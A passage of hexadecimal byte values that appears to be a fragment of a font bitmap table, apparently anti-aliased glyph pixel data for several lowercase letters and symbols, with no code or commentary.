0xFF, 0xFF, 0xFF, 0x4F, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x1A, 0xF5,
0xFF, 0xFF, 0xDD, 0x07, 0x00, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x81, 0xFF,
0xFF, 0xFF, 0x7A, 0x00, 0x7A, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, 0xE7, 0xFF,
0xFF, 0xF2, 0x07, 0x00, 0x00, 0x00, 0x00, 0x1A, 0x49, 0x6C, 0x76, 0x5A, 0x24, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x20, 0x9F, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xB5, 0x17, 0x00, 0x00, 0x00,
0x19, 0xE2, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDF, 0x11, 0x00, 0x00, 0xBC, 0xFF,
0xFF, 0xFF, 0xDD, 0x91, 0xB2, 0xF7, 0xFF, 0xFF, 0xFF, 0x8E, 0x00, 0x0A, 0xFB, 0xFF, 0xFF, 0xB9,
0x06, 0x00, 0x00, 0x10, 0xED, 0xFF, 0xFF, 0xE6, 0x00, 0x3D, 0xFF, 0xFF, 0xFF, 0x40, 0x00, 0x00,
0x00, 0x00, 0x83, 0xFF, 0xFF, 0xFF, 0x10, 0x3B, 0xFF, 0xFF, 0xFF, 0x5E, 0x00, 0x00, 0x00, 0x00,
0x00, 0x01, 0x01, 0x01, 0x00, 0x12, 0xFA, 0xFF, 0xFF, 0xED, 0x3E, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x94, 0xFF, 0xFF, 0xFF, 0xFC, 0x98, 0x19, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x09, 0xBA, 0xFF, 0xFF, 0xFF, 0xFF, 0xF4, 0x7E, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x08, 0x89, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xE4, 0x52, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x30, 0xBB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x7C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x41, 0xC8, 0xFF, 0xFF, 0xFF, 0xFF, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x6C, 0xF9, 0xFF, 0xFF, 0xEC, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x97, 0xFF, 0xFF, 0xFF, 0x34, 0x55, 0xDE, 0xDE, 0xDC, 0x11, 0x00, 0x00, 0x00, 0x00, 0x44, 0xFF,
0xFF, 0xFF, 0x53, 0x52, 0xFF, 0xFF, 0xFF, 0x61, 0x00, 0x00, 0x00, 0x00, 0x6C, 0xFF, 0xFF, 0xFF,
0x32, 0x23, 0xFF, 0xFF, 0xFF, 0xCA, 0x13, 0x00, 0x00, 0x4F, 0xF3, 0xFF, 0xFF, 0xF7, 0x05, 0x00,
0xB5, 0xFF, 0xFF, 0xFF, 0xF2, 0xCA, 0xE2, 0xFF, 0xFF, 0xFF, 0xFF, 0x85, 0x00, 0x00, 0x21, 0xEA,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB4, 0x02, 0x00, 0x00, 0x00, 0x14, 0xA1, 0xF0,
0xFF, 0xFF, 0xFF, 0xFA, 0xCC, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x3B,
0x22, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x0B, 0x0B, 0x0B, 0x0B, 0x0B, 0x0B, 0x0B, 0x0B,
0x0B, 0x0B, 0x0B, 0x0B, 0x0B, 0x02, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x30, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x30, 0x76, 0xEE, 0xEE, 0xEE, 0xEE, 0xF3, 0xFF, 0xFF, 0xFF, 0xEE, 0xEE, 0xEE,
0xEE, 0xE9, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xF4, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x42, 0xFF, 0xFF, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x42, 0xFF, 0xFF, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x42, 0xFF, 0xFF, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42,
0xFF, 0xFF, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF,
0xFF, 0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF,
0xF4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xF4,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xF4, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xF4, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0xFF, 0xFF, 0xF4, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3D, 0xFF, 0xFF, 0xEA, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x1B, 0x37, 0x37, 0x18, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x36, 0x37, 0x2E,
0x00, 0x7F, 0xFF, 0xFF, 0xB4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFD, 0xFF, 0xFF, 0x1B,
0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFD, 0xFF, 0xFF, 0x1F, 0x7F,
0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFD, 0xFF, 0xFF, 0x1F, 0x7F, 0xFF,
0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFD, 0xFF, 0xFF, 0x1F, 0x7F, 0xFF, 0xFF,
0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFD, 0xFF, 0xFF, 0x1F, 0x7F, 0xFF, 0xFF, 0xB8,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFD, 0xFF, 0xFF, 0x1F, 0x7F, 0xFF, 0xFF, 0xB8, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFD, 0xFF, 0xFF, 0x1F, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0xFD, 0xFF, 0xFF, 0x1F, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0xFD, 0xFF, 0xFF, 0x1F, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0xFD, 0xFF, 0xFF, 0x1F, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xFD, 0xFF, 0xFF, 0x1F, 0x7F, 0xFF, 0xFF, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xFD, 0xFF, 0xFF, 0x1F, 0x7F, 0xFF, 0xFF, 0xBB, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02,
0xFE, 0xFF, 0xFF, 0x1F, 0x78, 0xFF, 0xFF, 0xD0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0xFF,
0xFF, 0xFF, 0x18, 0x59, 0xFF, 0xFF, 0xEA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x32, 0xFF, 0xFF,
0xF6, 0x01, 0x35, 0xFF, 0xFF, 0xFF, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8F, 0xFF, 0xFF, 0xD5,
0x00, 0x02, 0xD8, 0xFF, 0xFF, 0xD7, 0x30, 0x00, 0x00, 0x00, 0x61, 0xF6, 0xFF, 0xFF, 0xA1, 0x00,
0x00, 0x60, 0xFF, 0xFF, 0xFF, 0xFD, 0xE1, 0xCF, 0xEE, 0xFF, 0xFF, 0xFF, 0xF7, 0x20, 0x00, 0x00,
0x00, 0x89, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x72, 0x00, 0x00, 0x00, 0x00,
0x00, 0x60, 0xC9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0xC2, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x23, 0x45, 0x46, 0x24, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1B, 0x37, 0x37, 0x34,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1D, 0x37, 0x37, 0x21, 0x67, 0xFF, 0xFF, 0xFF,
0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAE, 0xFF, 0xFF, 0xC8, 0x21, 0xFF, 0xFF, 0xFF,
0x60, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0xEE, 0xFF, 0xFF, 0x86, 0x00, 0xDB, 0xFF, 0xFF,
0xA4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0xFF, 0xFF, 0xFF, 0x3F, 0x00, 0x94, 0xFF, 0xFF,
0xE7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xF3, 0x05, 0x00, 0x4D, 0xFF, 0xFF,
0xFF, 0x2B, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB9, 0xFF, 0xFF, 0xB2, 0x00, 0x00, 0x0C, 0xFA, 0xFF,
0xFF, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x06, 0xF5, 0xFF, 0xFF, 0x6B, 0x00, 0x00, 0x00, 0xC0, 0xFF,
0xFF, 0xB3, 0x00, 0x00, 0x00, 0x00, 0x3E, 0xFF, 0xFF, 0xFF, 0x25, 0x00, 0x00, 0x00, 0x79, 0xFF,
0xFF, 0xF2, 0x04, 0x00, 0x00, 0x00, 0x81, 0xFF, 0xFF, 0xDE, 0x00, 0x00, 0x00, 0x00, 0x33, 0xFF,
0xFF, 0xFF, 0x3A, 0x00, 0x00, 0x00, 0xC3, 0xFF, 0xFF, 0x97, 0x00, 0x00, 0x00, 0x00, 0x01, 0xEA,
0xFF, 0xFF, 0x7E, 0x00, 0x00, 0x0C, 0xFA, 0xFF, 0xFF, 0x51, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA5,
0xFF, 0xFF, 0xC1, 0x00, 0x00, 0x49, 0xFF, 0xFF, 0xFB, 0x0E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x5E,
0xFF, 0xFF, 0xFA, 0x0B, 0x00, 0x8B, 0xFF, 0xFF, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19,
0xFF, 0xFF, 0xFF, 0x49, 0x00, 0xCE, 0xFF, 0xFF, 0x7D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0xD1, 0xFF, 0xFF, 0x8C, 0x13, 0xFE, 0xFF, 0xFF, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x8A, 0xFF, 0xFF, 0xD0, 0x53, 0xFF, 0xFF, 0xED, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x44, 0xFF, 0xFF, 0xFE, 0xAB, 0xFF, 0xFF, 0xA9, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x07, 0xF5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x62, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0xB6, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x1C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x70, 0xFF, 0xFF, 0xFF, 0xFF, 0xD4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x29, 0xFF, 0xFF, 0xFF, 0xFF, 0x8E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x15, 0x37, 0x37, 0x2D,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0x37, 0x37, 0x26, 0x78, 0xFF, 0xFF, 0xD8, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x21, 0xFF, 0xFF, 0xF2, 0x72, 0xFF, 0xFF, 0xE1, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0xFF, 0xFF, 0xED, 0x69, 0xFF, 0xFF, 0xEA, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x32, 0xFF, 0xFF, 0xE5, 0x5F, 0xFF, 0xFF, 0xF3, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x3A, 0xFF, 0xFF, 0xDC, 0x56, 0xFF, 0xFF, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x44, 0xFF, 0xFF, 0xD4, 0x4C, 0xFF, 0xFF, 0xFF, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x4F, 0xFF, 0xFF, 0xCA, 0x3C, 0xFF, 0xFF, 0xFF, 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x5B, 0xFF, 0xFF, 0xBB, 0x2A, 0xFF, 0xFF, 0xFF, 0x16, 0x00, 0x56, 0x7F, 0x7F, 0x32, 0x00, 0x66,
0xFF, 0xFF, 0xAB, 0x19, 0xFF, 0xFF, 0xFF, 0x29, 0x00, 0xDE, 0xFF, 0xFF, 0x98, 0x00, 0x76, 0xFF,
0xFF, 0x9A, 0x08, 0xFF, 0xFF, 0xFF, 0x45, 0x1E, 0xFF, 0xFF, 0xFF, 0xDC, 0x00, 0x89, 0xFF, 0xFF,
0x8A, 0x00, 0xF4, 0xFF, 0xFF, 0x61, 0x5F, 0xFF, 0xFF, 0xFF, 0xFF, 0x20, 0x9B, 0xFF, 0xFF, 0x78,
0x00, 0xD6, 0xFF, 0xFF, 0x7D, 0x9F, 0xFF, 0xFF, 0xFF, 0xFF, 0x64, 0xB0, 0xFF, 0xFF, 0x5A, 0x00,
0xB5, 0xFF, 0xFF, 0x99, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0xA8, 0xCA, 0xFF, 0xFF, 0x3C, 0x00, 0x94,
0xFF, 0xFF, 0xD5, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xEA, 0xE7, 0xFF, 0xFF, 0x1D, 0x00, 0x73, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0x8C, 0xE9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0x03, 0x00, 0x4C, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x46, 0xA3, 0xFF, 0xFF, 0xFF, 0xFF, 0xD9, 0x00, 0x00, 0x17, 0xFF, 0xFF, 0xFF,
0xFF, 0xF8, 0x09, 0x5C, 0xFF, 0xFF, 0xFF, 0xFF, 0xA7, 0x00, 0x00, 0x00, 0xE1, 0xFF, 0xFF, 0xFF,
0xBC, 0x00, 0x16, 0xFE, 0xFF, 0xFF, 0xFF, 0x75, 0x00, 0x00, 0x00, 0xAB, 0xFF, 0xFF, 0xFF, 0x77,
0x00, 0x00, 0xCD, 0xFF, 0xFF, 0xFF, 0x43, 0x00, 0x00, 0x00, 0x75, 0xFF, 0xFF, 0xFF, 0x33, 0x00,
0x00, 0x86, 0xFF, 0xFF, 0xFF, 0x11, 0x00, 0x19, 0x37, 0x37, 0x37, 0x15, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x14, 0x37, 0x37, 0x33, 0x00, 0x45, 0xFF, 0xFF, 0xFF, 0xB9, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0xB5, 0xFF, 0xFF, 0xF1, 0x0F, 0x00, 0xB6, 0xFF, 0xFF, 0xFF, 0x44, 0x00, 0x00, 0x00,
0x00, 0x44, 0xFF, 0xFF, 0xFF, 0x79, 0x00, 0x00, 0x2A, 0xFB, 0xFF, 0xFF, 0xCE, 0x01, 0x00, 0x00,
0x02, 0xCF, 0xFF, 0xFF, 0xE2, 0x09, 0x00, 0x00, 0x00, 0x94, 0xFF, 0xFF, 0xFF, 0x5C, 0x00, 0x00,
0x60, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x00, 0x00, 0x00, 0x14, 0xEF, 0xFF, 0xFF, 0xE0, 0x07, 0x0A,
0xE4, 0xFF, 0xFF, 0xCD, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0xFF, 0xFF, 0xFF, 0x73, 0x7C,
0xFF, 0xFF, 0xFF, 0x41, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x06, 0xDB, 0xFF, 0xFF, 0xF9, 0xFA,
0xFF, 0xFF, 0xB3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFC, 0x29, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBF, 0xFF, 0xFF, 0xFF,
0xFF, 0x97, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3D, 0xFF, 0xFF, 0xFF,
0xFF, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xFF, 0xFF, 0xFF,
0xFF, 0x8B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xF4, 0xFF, 0xFF, 0xFF,
0xFF, 0xF8, 0x1E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x99, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x29, 0xFC, 0xFF, 0xFF, 0x91, 0xAE,
0xFF, 0xFF, 0xFE, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xB2, 0xFF, 0xFF, 0xF3, 0x16, 0x2A,
0xFD, 0xFF, 0xFF, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3E, 0xFF, 0xFF, 0xFF, 0x82, 0x00, 0x00,
0x9F, 0xFF, 0xFF, 0xFF, 0x46, 0x00, 0x00, 0x00, 0x01, 0xC9, 0xFF, 0xFF, 0xEC, 0x0E, 0x00, 0x00,
0x1F, 0xF9, 0xFF, 0xFF, 0xCF, 0x02, 0x00, 0x00, 0x57, 0xFF, 0xFF, 0xFF, 0x73, 0x00, 0x00, 0x00,
0x00, 0x90, 0xFF, 0xFF, 0xFF, 0x5D, 0x00, 0x06, 0xDD, 0xFF, 0xFF, 0xE3, 0x08, 0x00, 0x00, 0x00,
0x00, 0x16, 0xF3, 0xFF, 0xFF, 0xE1, 0x08, 0x5B, 0xFF, 0xFF, 0xFF, 0x64, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x82, 0xFF, 0xFF, 0xFF, 0x60, 0x1B, 0x37, 0x37, 0x37, 0x11, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x10, 0x37, 0x37, 0x34, 0x00, 0x50, 0xFF, 0xFF, 0xFF, 0xA3, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x9C, 0xFF, 0xFF, 0xF7, 0x15, 0x00, 0xC6, 0xFF, 0xFF, 0xFD, 0x2B, 0x00, 0x00, 0x00,
0x00, 0x24, 0xFB, 0xFF, 0xFF, 0x8B, 0x00, 0x00, 0x3C, 0xFF, 0xFF, 0xFF, 0xAE, 0x00, 0x00, 0x00,
0x00, 0xA3, 0xFF, 0xFF, 0xF0, 0x12, 0x00, 0x00, 0x00, 0xB0, 0xFF, 0xFF, 0xFF, 0x35, 0x00, 0x00,
0x29, 0xFD, 0xFF, 0xFF, 0x7B, 0x00, 0x00, 0x00, 0x00, 0x29, 0xFC, 0xFF, 0xFF, 0xBA, 0x00, 0x00,
0xAA, 0xFF, 0xFF, 0xE8, 0x0B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9A, 0xFF, 0xFF, 0xFF, 0x3F, 0x2F,
0xFE, 0xFF, 0xFF, 0x6B, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1A, 0xF5, 0xFF, 0xFF, 0xC5, 0xB1,
0xFF, 0xFF, 0xDE, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x84, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0x5C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0E, 0xEA, 0xFF, 0xFF, 0xFF,
0xFF, 0xD2, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6D, 0xFF, 0xFF, 0xFF,
0xFF, 0x4C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0xDC, 0xFF, 0xFF,
0xC8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x95, 0xFF, 0xFF,
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0xFF, 0xFF,
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0xFF, 0xFF,
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0xFF, 0xFF,
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0xFF, 0xFF,
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0xFF, 0xFF,
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0xFF, 0xFF,
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x94, 0xFF, 0xFF,
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8F, 0xFF, 0xFF,
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0, 0xE0,
0xE0, 0xE0, 0x9F, 0x00, 0x65, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB5,
0x00, 0x57, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xB4, 0x00, 0x00, 0x11,
0x11, 0x11, 0x11, 0x11, 0x11, 0x71, 0xFF, 0xFF, 0xFF, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x05, 0xDE, 0xFF, 0xFF, 0xDA, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x67, 0xFF,
0xFF, 0xFF, 0x5C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xE3, 0xFF, 0xFF, 0xD6, 0x02,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6E, 0xFF, 0xFF, 0xFF, 0x56, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x0A, 0xE7, 0xFF, 0xFF, 0xD1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x75, 0xFF, 0xFF, 0xFF, 0x50, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0D, 0xEB, 0xFF, 0xFF,
0xCC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7C, 0xFF, 0xFF, 0xFF, 0x4A, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xEF, 0xFF, 0xFF, 0xC6, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x83, 0xFF, 0xFF, 0xFF, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xF2,
0xFF, 0xFF, 0xC1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x8A, 0xFF, 0xFF, 0xFF, 0x3E,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xF5, 0xFF, 0xFF, 0xBB, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x76, 0xFF, 0xFF, 0xFF, 0xFF, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA, 0xFA,
0x91, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA9, 0x7A, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xA9, 0x00, 0x24, 0xD7, 0xD7, 0xD7,
0xD7, 0xD7, 0xD7, 0xD7, 0xD7, 0xD7, 0xD7, 0x45, 0x00, 0x00, 0x2B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x2B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0x52, 0x00, 0x00, 0x0B, 0x7A, 0x7A, 0x7A, 0x7A, 0x7A, 0x7A, 0x7A, 0x7A, 0x7A,
0x7A, 0x27, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x1F, 0x1F,
0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x1F, 0x10, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x82, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x82, 0x7C, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,
